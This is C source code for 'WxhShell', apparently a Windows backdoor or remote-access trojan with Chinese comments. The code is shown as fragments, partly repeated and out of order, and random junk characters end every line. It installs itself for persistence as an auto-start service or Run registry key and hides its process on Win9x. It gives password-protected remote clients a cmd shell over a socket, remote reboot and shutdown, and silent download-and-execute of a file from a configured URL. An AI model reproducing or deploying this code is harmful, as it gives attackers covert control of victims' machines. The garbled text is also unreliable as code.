    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B4eV$~<  
    if(Boot(SHUTDOWN)) z#GrwE,r   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Q2kXwN  
    else { X@\ 9}*9  
    closesocket(wsh); UgTgva>?  
    ExitThread(0); F13vc~$Ky  
    } ddwokXx (  
    break; i> dLp  
    } 59H~qE1Md  
  // 获取shell TU^s!Tj  
  case 's': { a,eEP43dn  
    CmdShell(wsh); 5l]qhi3f  
    closesocket(wsh); d Z x  
    ExitThread(0); =%d.wH?dZ/  
    break; /Zg4JQ~  
  } ({mlA`d]  
  // 退出 ]\F}-I[  
  case 'x': { p7Z/%~0v:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0,wmEV!)  
    CloseIt(wsh); >/'/^h  
    break; LJOJ2x  
    } j/uzsu+  
  // 离开 f@ .s(i=z  
  case 'q': { ^qNZ!V4T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gT2k}5d}p  
    closesocket(wsh); Hv</Xam  
    WSACleanup(); il7gk<  
    exit(1); o`.5NUn  
    break; "\qm+g  
        } (H-kWT  
  } .q'{ 3  
  } SHQgI<D7  
z q@"qnr  
  // 提示信息 -Xt0=3,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^-,@D+eW  
} Nc*z?0wP  
  } [fg-"-+:M  
T^S $|d  
  return; -*;JUSGh  
} 5}:`CC2,S~  
:z2G a  
// shell模块句柄 +THK Jn!>  
int CmdShell(SOCKET sock) aK--D2@}i  
{ 0W,.1J2*  
STARTUPINFO si; ddEV@2F  
ZeroMemory(&si,sizeof(si)); hs<OzM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W_[ tdqey  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qcoTt~\  
PROCESS_INFORMATION ProcessInfo; ;rC< C  
char cmdline[]="cmd"; S'=}eeG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tHFBLM  
  return 0; L/)Q1Mm  
} -_irkpdC[  
qP72JxT  
// 自身启动模式 x<=R?4@rq  
int StartFromService(void) g5t`YcL  
{ z0?IQzR^T  
typedef struct zE?@_p1gei  
{ 9lB$i2G>Zw  
  DWORD ExitStatus; ;]_h")4"c  
  DWORD PebBaseAddress; U4h5K}j4  
  DWORD AffinityMask; %(>,eee_  
  DWORD BasePriority; vvF]g.,  
  ULONG UniqueProcessId; lMe+.P|  
  ULONG InheritedFromUniqueProcessId; S^nI=HTm  
}   PROCESS_BASIC_INFORMATION; >~})O&t  
Ly]J-BTe  
PROCNTQSIP NtQueryInformationProcess; WT:ZT$W  
_z53r+A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j7b4wH\#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Xn%O .yM6  
"X\6tl7a|  
  HANDLE             hProcess; H4uHCkj  
  PROCESS_BASIC_INFORMATION pbi; TiD|.a8S  
1B~[L 5p9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5?|yYQM0tK  
  if(NULL == hInst ) return 0; hx8.  
!CR#Fyt+9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B[fbPrM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )^m"fQ+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SEIJ+u9XsA  
C;']FmK]  
  if (!NtQueryInformationProcess) return 0; "8/BVW^bv  
i)7B :uA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r\$`e7d}!  
  if(!hProcess) return 0; 13f 'zx(AO  
JwdvY]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 63c\1]YB.  
oq2-)F2/  
  CloseHandle(hProcess); UL`% Xx  
^IO\J{U{"x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :\~YbA  
if(hProcess==NULL) return 0; vo^2k13  
<STE~ZmO  
HMODULE hMod; +f'@  
char procName[255]; jz,Gj}3;  
unsigned long cbNeeded; C9n*?Mk:  
:]9CdkaU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GB}!7W"  
op61-:q/  
  CloseHandle(hProcess); =,Z5F`d4  
m3=Cg$n  
if(strstr(procName,"services")) return 1; // 以服务启动 0Z jE(3i  
@s|yH"  
  return 0; // 注册表启动 #Ht;5p>5  
} lF~!F<^9  
7E;`1lh7  
// 主模块 34 I Cn~  
int StartWxhshell(LPSTR lpCmdLine) )p[Qj58  
{ &90pKs  
  SOCKET wsl; ksF4m_E>YB  
BOOL val=TRUE; n,Q^M$mS0  
  int port=0; "s7}eWM*a  
  struct sockaddr_in door; rN`-ak  
SbH} cu8  
  if(wscfg.ws_autoins) Install(); K[i&!Z&  
<=@6UPsn2  
port=atoi(lpCmdLine); HjZf3VwI  
lVgin54Q  
if(port<=0) port=wscfg.ws_port; R_b)2FU1y  
7x.] 9J  
  WSADATA data; -+kTw06_C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [9\Mf4lh#  
B*n_ VBd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;TboS-Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kcE86Y=|x!  
  door.sin_family = AF_INET; 9eEA80i7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fDwqu.K  
  door.sin_port = htons(port); `/9&o;qM   
51`*VR]`K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DiSU\?N2'  
closesocket(wsl); =r^Pu|  
return 1; p)s *Cw  
} nBzju?X)I  
rDC=rG  
  if(listen(wsl,2) == INVALID_SOCKET) { 6nW]Q^N}  
closesocket(wsl); 4\m#:fj %  
return 1; z 9~|Su  
} tW%!|T5/  
  Wxhshell(wsl); q6eD{/4a1  
  WSACleanup(); a 9Kws[  
F\-oZ#g  
return 0; d%#5roR4<  
~2O1$ou  
} iy [W:<c7j  
Je=k.pO1  
// 以NT服务方式启动 YeB)]$'?u`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -8z@FLUK-  
{ 4AYW'j C  
DWORD   status = 0; E*VOyH 2[  
  DWORD   specificError = 0xfffffff; "(vm0@8><  
I04c7cDp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jKp79].  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r~PVh?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e?fA3Fug  
  serviceStatus.dwWin32ExitCode     = 0; D()tP  
  serviceStatus.dwServiceSpecificExitCode = 0; !0Eo9bU%@  
  serviceStatus.dwCheckPoint       = 0; Qp~3DUM  
  serviceStatus.dwWaitHint       = 0; B0m2SUC,H  
&cT@MV5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `bjPOA(g  
  if (hServiceStatusHandle==0) return; ,XsBm+Q(  
+%)bd  
status = GetLastError(); 1a'0cSH  
  if (status!=NO_ERROR) 2I0Zr;\f  
{ @c;:D`\p1C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R&MetQ~-{  
    serviceStatus.dwCheckPoint       = 0; im"3n=  
    serviceStatus.dwWaitHint       = 0; }/aqh;W  
    serviceStatus.dwWin32ExitCode     = status; Kk6i  
    serviceStatus.dwServiceSpecificExitCode = specificError; uex([;y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .CEl{fofj  
    return; k .W1bF9n6  
  } II{"6YI>  
x k&# fW^r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rz=wInFs  
  serviceStatus.dwCheckPoint       = 0; ilkN3J  
  serviceStatus.dwWaitHint       = 0; *iXaQuT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DUvF  
} SAokW,  
Tr "Bz!  
// 处理NT服务事件,比如:启动、停止 EsjZ;D, c(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #~`d ;MC  
{ ejlau#8"  
switch(fdwControl) ~~{+?v6B]  
{ z{A~d  
case SERVICE_CONTROL_STOP: @K}Bll.E  
  serviceStatus.dwWin32ExitCode = 0; '%KaAi$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9&'HhJm  
  serviceStatus.dwCheckPoint   = 0; {hBnEj^@  
  serviceStatus.dwWaitHint     = 0; PG3,MCf:  
  { W|V9:A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h]p$r`i7  
  } 4/ Xu,pT  
  return; `0Xs!f  
case SERVICE_CONTROL_PAUSE: =4LyE6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [*^ rH:  
  break; ]3CWb>!_  
case SERVICE_CONTROL_CONTINUE: [Ee <SB{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GUUd(xS {  
  break; N`NW*~  
case SERVICE_CONTROL_INTERROGATE: |/~ISB  
  break; pU[5f5_  
}; oU)3du   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l'kVi  
} :zsMkdU  
=|_k a8{?  
// 标准应用程序主函数 M6"a w6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {{ +8oRzY  
{ #EIcP=1m4  
fU ^5Dl  
// 获取操作系统版本 zI.:1(,  
OsIsNt=GetOsVer(); =iE)vY,?"}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Gw?ueui<  
-[ xbGSj{  
  // 从命令行安装 /gq\.+'{  
  if(strpbrk(lpCmdLine,"iI")) Install(); </23*n]  
VMJK9|JC[  
  // 下载执行文件 ~A,(D-  
if(wscfg.ws_downexe) { Nuc2CB)J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KKM!($A  
  WinExec(wscfg.ws_filenam,SW_HIDE); R|R3Ob.e  
} {h~<!sEX  
Y&1Yc)*O  
if(!OsIsNt) { p9j2jb,qy  
// 如果时win9x,隐藏进程并且设置为注册表启动 lfyij[6q+  
HideProc(); x(y=.4Yf+  
StartWxhshell(lpCmdLine); TZw['o  
} lCJ/@)  
else A4f;ftB  
  if(StartFromService()) gv/yfiA?  
  // 以服务方式启动 s+&iH  
  StartServiceCtrlDispatcher(DispatchTable); vze|*dKS  
else =[IKwmCX  
  // 普通方式启动 m";?B1%x  
  StartWxhshell(lpCmdLine); 'Jl3%axR  
C&&33L  
return 0; /[UuHU5*R  
} #gRtCoew  
e)A{ {wD/  
1owe'7\J  
Ct386j><  
=========================================== fP;2qho  
ZG1 {"J/z  
2GJp`2(%dA  
AqjEz+TVt  
s Vg89I&  
SaiYdJ  
" s^ K:cz  
J9XV:)Yv#  
#include <stdio.h> c}D>.x|]  
#include <string.h> z-;yDB:~t  
#include <windows.h> oL*ZfF3  
#include <winsock2.h> e4Xo(EY &  
#include <winsvc.h> tz_WxOQ0  
#include <urlmon.h> 9~yp =JOV@  
a\Dw*h?b~  
#pragma comment (lib, "Ws2_32.lib") 0m'tPFQ|  
#pragma comment (lib, "urlmon.lib") ^LAdN8Cbb  
4/E>k <MA  
#define MAX_USER   100 // 最大客户端连接数 -k}&{v  
#define BUF_SOCK   200 // sock buffer -SKcS#IF  
#define KEY_BUFF   255 // 输入 buffer ~0Xx]  
zmh5x{US1  
#define REBOOT     0   // 重启 <x\I*%(  
#define SHUTDOWN   1   // 关机 ?CZ*MMV  
KhPDkD-  
#define DEF_PORT   5000 // 监听端口 KAm$^N5  
S<"`9r)av  
#define REG_LEN     16   // 注册表键长度 ~ ]^<*R  
#define SVC_LEN     80   // NT服务名长度  @po|07  
s]i<D9h  
// 从dll定义API X.JPM{]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8M7pc{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2jH&@g$cl;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9H,Ec,.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uU#e54^  
D]WU,a[$Bc  
// wxhshell配置信息 5MS5 Q]/  
struct WSCFG { {y==8fCJ  
  int ws_port;         // 监听端口 _`q ei0  
  char ws_passstr[REG_LEN]; // 口令 @-Ln* 3n  
  int ws_autoins;       // 安装标记, 1=yes 0=no <PXnR\  
  char ws_regname[REG_LEN]; // 注册表键名 JURJN+)z  
  char ws_svcname[REG_LEN]; // 服务名 19;F+%no#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t$5)6zG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 % !p/r`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HD9+4~8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i0*6o3h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Nzel^~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FHbw &  
,v>| Ub,  
}; :y(HOUB  
 iT&Y9  
// default Wxhshell configuration C_ (s  
struct WSCFG wscfg={DEF_PORT, N1jJ(}{3  
    "xuhuanlingzhe", ,)P6fa/  
    1, K 6HH_T  
    "Wxhshell", =Btmi  
    "Wxhshell", c`4i#R  
            "WxhShell Service", C}cYG  
    "Wrsky Windows CmdShell Service", R#33AC CX  
    "Please Input Your Password: ", F)4;:".zna  
  1, S9@)4|3C|p  
  "http://www.wrsky.com/wxhshell.exe", #;9n_)  
  "Wxhshell.exe" !UW{xHu  
    }; 6yPh0n  
WU<C7   
// 消息定义模块 b5d;_-~d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p_l.a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bAm ,gP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YlEV@  
char *msg_ws_ext="\n\rExit."; TH#5j.uUs  
char *msg_ws_end="\n\rQuit."; %<Kw  
char *msg_ws_boot="\n\rReboot..."; \A/??8cgXs  
char *msg_ws_poff="\n\rShutdown..."; e8$OV4X  
char *msg_ws_down="\n\rSave to "; D}7G|gX1  
+ hKH\]  
char *msg_ws_err="\n\rErr!"; l?swW+ x\  
char *msg_ws_ok="\n\rOK!"; O5?3 nYHa  
!:w&eFC6  
char ExeFile[MAX_PATH]; PvB-Cqc  
int nUser = 0; L(i0d[F  
HANDLE handles[MAX_USER]; JBvP {5  
int OsIsNt; `]\:%+-  
Zlf) dDn  
SERVICE_STATUS       serviceStatus; LFV',1+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5W~-|8m  
6o^sQ(]  
// 函数声明 !ie'}|c  
int Install(void); e-/+e64Q@  
int Uninstall(void); #ysSfM6  
int DownloadFile(char *sURL, SOCKET wsh); 8lcB.M  
int Boot(int flag); kmfxk/F}  
void HideProc(void); /6a617?9J  
int GetOsVer(void); k>dzeH  
int Wxhshell(SOCKET wsl); )#_:5^1  
void TalkWithClient(void *cs); &Eqa y'  
int CmdShell(SOCKET sock); +^v]d_~w_  
int StartFromService(void); IL2OVLX  
int StartWxhshell(LPSTR lpCmdLine); #{oGmzG!  
]^ "BLbDZ@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mk$Pt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g_F-PT>($  
O9(6?n  
// 数据结构和表定义 v a j  
SERVICE_TABLE_ENTRY DispatchTable[] = u*i[A\Y  
{ Oe:_B/l  
{wscfg.ws_svcname, NTServiceMain}, U6Ws#e  
{NULL, NULL} G0VbW-`O  
}; Da8{==  
o\7q!  
// 自我安装 |g}~7*+i  
int Install(void) js<}>wD7<  
{ 1l*O;J9By  
  char svExeFile[MAX_PATH]; yJ!x`RD),w  
  HKEY key; {s/u [T_D2  
  strcpy(svExeFile,ExeFile); 7y2-8e L  
fPLi8`r  
// 如果是win9x系统,修改注册表设为自启动 >s+TD4OfY  
if(!OsIsNt) { V)g{ Ew]:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;^`WX}]C(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q VcZF7  
  RegCloseKey(key); \C(dWs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wX!>&Gc.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^w*$qzESy  
  RegCloseKey(key); 4`mF6%UC  
  return 0; AECaX4h+_  
    } 7 ,![oY[  
  } +W-,74A  
} uY~xHV_-  
else { ?6[X=GeUs  
YPY'[j(p`n  
// 如果是NT以上系统,安装为系统服务 bBC!fh!L"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BDCFToSf|  
if (schSCManager!=0) IhYTK%^96  
{ -P5M(Rt  
  SC_HANDLE schService = CreateService 6q!smM  
  ( qr~= S  
  schSCManager, {_{&t>s2  
  wscfg.ws_svcname, &InMI#0mV  
  wscfg.ws_svcdisp, $_P*Bk)  
  SERVICE_ALL_ACCESS, Ea7LPHE#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~dO&e=6Hk  
  SERVICE_AUTO_START, 4}\Dr %US  
  SERVICE_ERROR_NORMAL, H!+T2<F9R  
  svExeFile, Ef2#}%>  
  NULL, MSMgaw?  
  NULL, ,Q5Z<\  
  NULL, 1tNmiAu  
  NULL, ayb fBC  
  NULL Q ]u*Oels  
  ); z'FJx2  
  if (schService!=0) 6*:mc  
  { I>jDM  
  CloseServiceHandle(schService); sP+ZE>7  
  CloseServiceHandle(schSCManager); 5ma*&Q8+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qL03iV#h*V  
  strcat(svExeFile,wscfg.ws_svcname); e{dYLQd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5l&9BS&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3]iBX`Ni  
  RegCloseKey(key); F5#P{ zk|  
  return 0; S1R:/9 z  
    } =[ $zR>o*%  
  } H#LlxD)q  
  CloseServiceHandle(schSCManager); #z*-  
} *{y/wgX  
} ;3D[[*n9  
}4; \sY  
return 1; MMI7FlfY  
} .-6B6IEI_"  
7|"gMw/  
// 自我卸载 @\=% M^bx  
int Uninstall(void) 2JV,A Zf  
{ ~S],)E1w  
  HKEY key; h zh%ML3L  
z8ox#+l  
if(!OsIsNt) { jNIZ!/K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5DHFxym'  
  RegDeleteValue(key,wscfg.ws_regname); E_aDkNT  
  RegCloseKey(key); nEZo F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %Tn0r|K  
  RegDeleteValue(key,wscfg.ws_regname); tWNz:V  
  RegCloseKey(key); fh1rmet&Ts  
  return 0; UY_'F5X  
  } 5F8sigr/h  
} R9/(z\'}  
} &s|&cT  
else { .[ Z<r>  
Felu`@b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9Okb)K95  
if (schSCManager!=0) QzwA*\G  
{ Uv(THxVh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SLa\F  
  if (schService!=0) @ y (9LSs  
  { 6<h?%j(  
  if(DeleteService(schService)!=0) { v\Y362Xv  
  CloseServiceHandle(schService); 6%K,3R-d  
  CloseServiceHandle(schSCManager); !;YmLJk;hN  
  return 0; PLi[T4u  
  } nJ.<yrzi  
  CloseServiceHandle(schService); %CxrXU  
  } S}=euY'i  
  CloseServiceHandle(schSCManager); 6QCU:2IiL  
} BCE} Er&  
} S z3@h"  
.{-&3++WZ  
return 1; ]#C;)Vy  
} Vp;^_,  
*g}(qjl<  
// 从指定url下载文件 X0=#e54  
int DownloadFile(char *sURL, SOCKET wsh) ;OlC^\e  
{ !,#42TY*X  
  HRESULT hr; t\hvhcbL  
char seps[]= "/"; Z;^UY\&X  
char *token; A 'Q nL  
char *file; >g+ogwZ  
char myURL[MAX_PATH]; xwwy9:ze*l  
char myFILE[MAX_PATH]; J~0_  
>-s\$8En'  
strcpy(myURL,sURL); *Ge2P3  
  token=strtok(myURL,seps); D (MolsKc?  
  while(token!=NULL) ?lh `>v  
  { 6#/Riu%  
    file=token; L}bS"=B[&W  
  token=strtok(NULL,seps); ?jywW$   
  } < c[+60p"  
#6[7q6{ 4  
GetCurrentDirectory(MAX_PATH,myFILE); YQzs0t ,  
strcat(myFILE, "\\"); hhTM-D1Ehs  
strcat(myFILE, file); !BN7 B  
  send(wsh,myFILE,strlen(myFILE),0); !$&3h-l[  
send(wsh,"...",3,0); Nw`}iR0i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y/>]6Pj  
  if(hr==S_OK) SArSi6vF  
return 0; 5I!EsW$sY  
else SBBDlr^P  
return 1; 87P.K Yy  
lNcXBtwK@#  
} niZ/yW{w  
@$R[Js%MuO  
// 系统电源模块 9rr"q5[  
int Boot(int flag) dMAd-q5{  
{ -[cl]H)V  
  HANDLE hToken; 2Uf}gG)  
  TOKEN_PRIVILEGES tkp; l@ +]XyLj  
\vBpH'hR,'  
  if(OsIsNt) { #tyHjk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U"} ml  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2;@#i*\Y  
    tkp.PrivilegeCount = 1; 7-nz'-'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3,@I` M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KGCm@oy  
if(flag==REBOOT) { 2TN+ (B#Z!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k<xiP@b{y  
  return 0; $a|DR  
} \;w+_<zE5{  
else { #!wL0 p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~ {sRK  
  return 0; %m:T?![XO  
} T&_!AjH  
  } C wKo'PAJ  
  else { zG_e=   
if(flag==REBOOT) { |fXwH>'sw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WlHw\\ur  
  return 0; *I0{1cST  
} p)d0ZAs  
else { v3w5+F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  -lM4*+f  
  return 0; mOj6 4}_`"  
} ;<Dou7=  
} $gsn@P>"  
,nqG* o  
return 1; RW!D! ~  
} +kF$I7LN  
 =(kwMJ  
// win9x进程隐藏模块 (>*<<a22  
void HideProc(void) JO:40V?op  
{ k^3|A3A  
`3!ERQU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X4emhB  
  if ( hKernel != NULL ) =4z:Df  
  { _ukKzY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5b9v`6Kq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -(FVTWi0  
    FreeLibrary(hKernel); \BC|`)0h  
  } h>,yqiY4p  
"j5b$T0P>  
return; @q9uU9c  
} &:g5+([<  
OczVObbS  
// 获取操作系统版本 "x&hBJ  
int GetOsVer(void) KDP7u  
{ 8fzmCRFH  
  OSVERSIONINFO winfo; >Z k$q~'+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jIx5_lFe  
  GetVersionEx(&winfo); cT abZc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s8T} ah!  
  return 1; OHeVm-VC  
  else * iW>i^  
  return 0; zR2'xE*  
} cDMA#gp  
3R%'<MV|  
// 客户端句柄模块 [m7jZOEu  
int Wxhshell(SOCKET wsl) RG=!,#X  
{ W/U&w.$  
  SOCKET wsh; V.Pb AN  
  struct sockaddr_in client; pyZ&[ *@  
  DWORD myID; *V(TNLIh;  
-[?q?w!?  
  while(nUser<MAX_USER) T_CYSS|fX  
{ D\8~3S'd  
  int nSize=sizeof(client); y?W8FL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )P\Vd #  
  if(wsh==INVALID_SOCKET) return 1; aF4vNUeG  
}YHoWYR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %RgCU$s[>  
if(handles[nUser]==0) c#+JG  
  closesocket(wsh); _@0>y MZ^  
else VJ P]Jy_  
  nUser++; <\c 5  
  } 3X,9K23T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z++JmD1J  
;3NA,JA#Y  
  return 0; {'8a' 9\  
} g]O"l?xx1D  
+.MHI   
// 关闭 socket >(EMZ5  
void CloseIt(SOCKET wsh) pulE6T7 x  
{ T%K"^4k  
closesocket(wsh); Jla ;^X  
nUser--; ;cIs$  
ExitThread(0); L}CjC>R!  
} 1{R 1:`  
_ v\=ag  
// 客户端请求句柄 T:S+P t~  
void TalkWithClient(void *cs) L !:}  
{ a%DnRkRr  
DWZ!B7Ts  
  SOCKET wsh=(SOCKET)cs; gS ~QlW V  
  char pwd[SVC_LEN]; W>0 36  
  char cmd[KEY_BUFF]; & D4'hL3  
char chr[1]; SUxz &xH  
int i,j; /,A:HM>B  
!]7r>NS>  
  while (nUser < MAX_USER) { ~7T]l1]W%  
*?%DdVrO@  
if(wscfg.ws_passstr) { <)+9PV<w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TG'_1m*$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GGsDR%U  
  //ZeroMemory(pwd,KEY_BUFF); Lh0Pvq0C  
      i=0; }7E2,A9_"  
  while(i<SVC_LEN) { z/aZD\[_  
'ek7e.x|V  
  // 设置超时 7 7"'?  
  fd_set FdRead; rI)op1K  
  struct timeval TimeOut; 57^ X@ra$  
  FD_ZERO(&FdRead); `WSm/4 m  
  FD_SET(wsh,&FdRead); B uV@w-|  
  TimeOut.tv_sec=8; ^2}0lP|  
  TimeOut.tv_usec=0; e*.l6H/B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k2o98bK&;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZW n j-  
-Zd0[& ']  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8V@ /h6-e,  
  pwd=chr[0]; tWy0% -  
  if(chr[0]==0xd || chr[0]==0xa) {  +T02AS  
  pwd=0;  Ew1> m'  
  break; p5&:>>  
  } d-w#\ ^  
  i++; +]P? ?`,R;  
    } @DG$  
6Pc3;X~  
  // 如果是非法用户,关闭 socket aaW(S K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6tBL?'pG  
} C;#vW FE  
$lmGMljF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ," ~ew ,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jC7`_;>=  
9q;n@q:29  
while(1) { "pGSz%i-  
}S|~^  
  ZeroMemory(cmd,KEY_BUFF); 3(l^{YC+[7  
daS l.:1  
      // 自动支持客户端 telnet标准   6jT+kq)  
  j=0; aj;OG^(!2_  
  while(j<KEY_BUFF) { *T0{ yI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 57*`y'C W  
  cmd[j]=chr[0]; O+hN?/>v  
  if(chr[0]==0xa || chr[0]==0xd) { ^Rriu $\  
  cmd[j]=0; H7!j5^  
  break; A]^RV{P  
  } R,?7|x  
  j++; U 1!6%x  
    } s 8O"U%  
:^7/+|}9p  
  // 下载文件 4sOo>.<x  
  if(strstr(cmd,"http://")) { <]#'6'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7jP C{W  
  if(DownloadFile(cmd,wsh))  >sk vg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |c,,*^  
  else  uaN0X"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iX,| ;J|]  
  } GqB]^snh  
  else { qBL >C\V +  
#)hc^gIO&<  
    switch(cmd[0]) { G*.}EoA  
